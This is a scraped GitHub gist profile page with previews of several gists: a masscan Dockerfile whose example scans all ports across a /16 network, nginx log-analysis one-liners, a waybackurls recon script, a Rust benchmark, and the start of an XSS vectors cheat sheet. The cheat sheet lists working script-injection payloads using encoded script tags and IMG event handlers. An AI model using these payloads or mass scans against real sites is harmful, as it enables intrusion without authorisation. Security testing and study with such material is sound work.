Skip to content

Instantly share code, notes, and snippets.

View avilum's full-sized avatar

Avi Lumelsky avilum

  • Israel
View GitHub Profile
@Nuxij
Nuxij / masscan.Dockerfile
Last active June 16, 2021 01:13
[Docker] masscan on alpine
# Example:
# $ docker build -t masscan -f masscan.Dockerfile .
# $ docker run --rm -it --net=host masscan -p0-65535 192.168.0.0/16 --rate 1000000
# --net=host is optional but I saw rate limit without it
# -v $(pwd):/opt if you want to feed result files back out
FROM alpine as builder
LABEL author "Peng Liu"
LABEL email "myme5261314@gmail.com"
ARG MASSCAN_GIT_URL=https://github.com/robertdavidgraham/masscan
# get total requests by status code
awk '{print $9}' /var/log/nginx/access.log | sort | uniq -c | sort -rn
# get top requesters by IP
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head | awk -v OFS='\t' '{"host " $2 | getline ip; print $0, ip}'
# get top requesters by user agent
awk -F'"' '{print $6}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head
# get top requests by URL
import requests
import sys
import json
def waybackurls(host, with_subs):
if with_subs:
url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host
else:
url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host
@kurobeats
kurobeats / xss_vectors.txt
Last active June 29, 2024 18:32
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@coriolinus
coriolinus / bin.rs
Last active June 6, 2022 05:48
Rust threaded code vs. Python's GIL: benchmarking using code from Advent of Code 2015
//! Edited version of bin.rs, hard-coding a number of cores to use instead of depending on the default,
//! which reports the total number of cores including virtual ones.
extern crate util;
use util::get_line_input;
extern crate day4lib;
use day4lib::mine_coin_with_conf;
use day4lib::CoinMiningConfig;